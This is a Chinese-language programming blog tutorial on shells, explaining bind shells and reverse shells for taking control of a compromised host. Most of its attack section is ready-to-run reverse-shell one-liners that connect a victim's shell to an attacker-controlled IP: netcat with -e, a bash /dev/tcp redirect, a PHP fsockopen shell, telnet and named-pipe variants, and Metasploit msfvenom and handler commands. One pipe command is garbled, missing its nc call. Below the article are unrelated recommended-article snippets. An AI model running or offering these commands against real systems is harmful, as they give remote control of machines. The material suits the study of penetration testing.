反弹shell-程序员宅基地

技术标签: 运维  linux  服务器  网络安全  

一、课时目标
1.理解shell的概念
2.理解交互式shell和非交互式shell的区别
3.掌握反弹shell的原理和方法
二、shell的相关概念
2.1 什么是shell
Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(command interpreter,命令解析器)。它类似于DOS下的COMMAND.COM和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序.

在这里插入图片描述

2.2 非交互式shell、交互式shell以及他们的区别
在测试过程中,我们可以将获取的shell大致分为两种类型,非交互式shell和交互式shell。
非交互式shell
非交互式模式,以shell script(非交互)方式执行。在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就结束了。通过菜刀、蚁剑获取的虚拟终端就是一种典型的非交互式shell。
它可以执行一些普通的命令并输出结果,但不能执行与用户进行交互的命令.这个交互怎么理解呢?比如正常情况下使用su切换用户时,系统会提示我们输入密码.非交互式shell则不能实现这种结果.
在这里插入图片描述
交互式shell
交互式模式就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
如linux修改passwd,会提示让你输入新的密码。这种模式被称作交互式shell
在这里插入图片描述

当我们已经拿下主机的webshell之后,想要获取一个可以直接操作主机的虚拟终端时,会遇到两种情况。

2.3 正向连接
在这里插入图片描述

第一种,目标主机具有公网IP地址,能够被外网直接访问。此时攻击者可以直接访问目标机器,这种连接方式叫做正向连接。我们只需要在目标机器开启shell监听,然后攻击机器直接访问即可。具体操作如下:

1.使用NC工具在目标机器开启端口进行监听,并将本地的bash发布出去。
nc -lvvp 9999 -e /bin/bash
2.攻击端直接访问目标机器
nc 192.168.122.6 9999

nc是netcat的简写,它是一款实用的网络工具,可以实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
-l 监听模式,用于入站连接
-v 详细输出–用两个-v可得到更详细的内容
-p port 本地端口号

2.4 反弹shell
第二种,目标主机处于内网环境下,不可以被外网直接访问,只能主动将shell反弹出来.这种方式称作反弹shell.
在这里插入图片描述

2.4.1 什么是反弹shell?
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端,本质上是网络概念的客户端与服务端的角色反转。

  1. 在攻击机器开启端口监听
    攻击者:nc -lvnp 9999
  2. 使用nc命令直接建立一个tcp 9999 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机
    受害者: nc -e /bin/bash 10.0.0.1 9999

2.4.2 反弹shell的其他应用场景
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
比如:
1.目标机器的ip动态改变,你不能持续控制。(只要对方的ip地址一换,权限就会丢失.)
2.由于防火墙等限制,对方机器只能发送请求,不能接收请求。(攻击者发往目标机器的命令,被防火墙拦截无法执行,但目标机器在本地执行命令输出到攻击机器则不会受影响)
以上,这些情况下都没有办法使用常规的正向连接,让受害机器主动连接攻击机器,才是最佳的办法。

2.5 反弹shell的其他方式
2.5.1系统自带的bash
攻击者:nc -lvp 9999
受害者:bash -i >& /dev/tcp/192.168.xx.xx/9999 0>&1

bash -i >& /dev/tcp/192.168.239.128/9999 0>&1
bash -i代表在本地打开一个bash

bash产生了一个交互环境与本地主机主动发起与目标主机9999端口建立的连接(即TCP 9999 会话连接)相结合,然后在重定向个tcp 9999会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。

2.5.2利用脚本
python、perl、ruby、php、jsp、asp等
如:php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec("/bin/sh -i <&3 >&3 2>&3");’

2.5.3利用第三方服务或者工具
nc、telenet、socat、msf
如:nc -e /bin/sh 10.0.0.1 1234

#不同版本的nc不一定支持-e选项,当-e参数被禁用时可以使用
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | 192.168.x.x 5999 1>/tmp/backpipe

telnet #当nc和/dev/tcp不可用时
mknod backpipe p && telnet 192.168.x.x 8080 0<backpipe | /bin/bash 1>backpipe

msf #msf生成的后门shell必须由exploit/multi/handler模块来监听
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.1.1 lport=4444 -f raw > xx.php

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.x.x
set LPORT 4444
exploit

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_39430198/article/details/123367860

智能推荐

react router 配置404页面_react router 404-程序员宅基地

文章浏览阅读7.3k次,点赞3次,收藏7次。react router 配置404页面使用Vue相关的技术栈2年左右了,在路由管理上一直用的比较得心应手,现在的项目使用react开发,路由自然也就切换到了react router,所用版本为react router 4在Vue router配置中,我们可以很简单的配置出404页面使用通配符 * 号匹配所有路由,并将此配置放在数组的最末端,当前面的路由都匹配不上时,就会匹配到 * 号,然后..._react router 404

[蓝桥杯][2017年第八届真题]青蛙跳杯子_青蛙跳杯子-第八届蓝桥省赛-c组-程序员宅基地

文章浏览阅读168次。题目链接:青蛙跳杯子解题思路: 从第一个空杯子开始宽搜,每次前进1、2、3步判断每次的状态是否合法,如果合法就放入队列。#include<bits/stdc++.h>#define x first#define y second#define mem(h) memset(h,-1,sizeof h)#define mcp(a,b) memcpy(a,b,sizeof b)using namespace std;typedef long long LL;typedef uns_青蛙跳杯子-第八届蓝桥省赛-c组

电子信息工程专业保研:从211到北大软微保研面试经验分享(含通信原理面试真题)_电子信息保研北大-程序员宅基地

文章浏览阅读9.4k次,点赞28次,收藏158次。2021保研面试经验分享(含真题)保研经历:夏令营面试经验:预推免面试经验:资料下载保研经历:本人211电子信息工程专业,2020年保研至北京大学硕士。以下为一些高校面试经验\面试真题。整理不易,欢迎点赞收藏~,感谢!夏令营:北大信科计算机系、浙大工程师学院、东南大学网安学院、华科国光国家重点实验室、中科大科学岛、北理工电信学院、山东大学电信学院预推免:北大软微、清华深圳电子通信项目、复旦通信系、中科院计算机学院学硕夏令营面试经验:第一面:北大信科计算机系当时为了去名校报的直博,电子信息工程跨_电子信息保研北大

基于JDK7 NIO2的高性能web服务器实践之二(转)-程序员宅基地

文章浏览阅读75次。前一篇博客,我简单提了下怎么为NIO2增加TransmitFile支持,文件传送吞吐量是一个性能关注点,此外,并发连接数也是重要的关注点。不过JDK7中又一次做了简单的实现,不支持同时投递多个AcceptEx请求,只支持一次一个,返回后再投递。这样,客户端连接的接受速度必然大打折扣。不知道为什么sun会做这样的实现,WSASend()/WSAReceive()一次只允许一个还是可以理解..._jlong_to_ptr

Codeforces 574A Bear and Elections 思维题 暴力/优先队列-程序员宅基地

文章浏览阅读141次。题源:http://codeforces.com/problemset/problem/574/A思路:更多像是个思维题吧,数据量不大,完全可以暴力,暴力的代码不放了,每次找出队列里面的最大值,然后-1,然后第一项+1。直到最大的一项是第一个元素。。自己做的时候用了堆,按num从大到小排序,若相等,id小的在后面,可以用于判断是不是还有和1一样大的。自己这次写题解的时候也不知道自己当时怎么..._bear and elections

Java ip地址查询,根据ip接口获得ip所在省市区,邮编,运营商等_java如何通过ip地址获得运营商的ldns-程序员宅基地

文章浏览阅读5.0k次。互联网有很多接口可以实现通过ip查询到具体的位置,如下:通过淘宝IP地址库获取IP位置1. 请求接口(GET):http://ip.taobao.com/service/getIpInfo.php?ip=[ip地址字串]2. 响应信息:(json格式的)国家 、省(自治区或直辖市)、市(县)、运营商3. 返回数据格式:{"code":0,"data":{"ip":"210.75..._java如何通过ip地址获得运营商的ldns

随便推点

如何模拟用户登录爬取知乎_sso 爬取-程序员宅基地

文章浏览阅读842次。**如何模拟用户登录爬取知乎**import requests# 可以读取本地的cookie送给requeststry: import cookielib # Python2中叫cookielibexcept: import http.cookiejar as cookielib # Python3中叫做cookiej..._sso 爬取

SAP:SMARTFORM打开WORD文档出错,或无法编辑_sap smartform 报错-程序员宅基地

文章浏览阅读2.8k次,点赞2次,收藏5次。SAP760或者750都会出现这类问题:无法拖拽或编辑,出现这样的问题是因为SAP版本与本机中的office不兼容导致的解决办法:1.安装SAP插件:插件存在个人资源中,可自取2.程序函数增强:SE24:CL_COS_UTILITIES对于该对象中的方法:IS_S4H增加如下代码: method is_s4h. validate_gv_s4h( ). if gv_s4h-public_cloud_on = abap_true. rv_is_s4h = abap_sap smartform 报错

【数字图像处理】——BMP文件的简单操作_hxlbmpfile.h-程序员宅基地

文章浏览阅读1.6k次,点赞5次,收藏15次。1、在 VC 环境下 – 建立动态库工程,录入 HXLBMPFILE 类,建立相应动态库,将整个类作为动态库输出。输出 HXLBMPFILE.dll/lib 。可参考动态库如何建立录入 hxlbmpfile.h 文件,包含 HXLBMPFILE 类 的定义#pragma once#include"stdio.h"#include"math.h"#include"windows.h"#..._hxlbmpfile.h

前端之路从此启程____ _.-' \ / \ / \ / `.___ ( .--.)\/(,.--. `-. ,',-程序员宅基地

文章浏览阅读862次,点赞10次,收藏3次。一楼镇图## _ooOoo_ o8888888o 88" . "88 (| -_- |) O\ = /O ...____ _.-' \ / \ / \ / `.___ ( .--.)\/(,.--. `-. ,',-. \ / ,-.`. ) ( / \ / \ )

模电(一)半导体基础_模电中va是什么-程序员宅基地

文章浏览阅读2k次,点赞9次,收藏25次。模拟电子电路之半导体基础【概念-本征半导体-杂质半导体-PN结】_模电中va是什么

python小作业4代码(简单循环语句的应用)_智力捕鱼python-程序员宅基地

文章浏览阅读1.6k次,点赞5次,收藏10次。任务一:水仙花数判断程序任务内容:水仙花数是一个三位整数,如153是一个水仙花数,是因为该数的百位的立方、十位的立方、个位的立方之和等于该数本身。程序编写要求:使用for语句完成;统计水仙花数个数的值请保存到变量中,并要求自动进行统计。代码:print("所有三位数中的水仙花数如下所示:")count=0for i in range(100,1000): a = i//10..._智力捕鱼python

推荐文章

热门文章

相关标签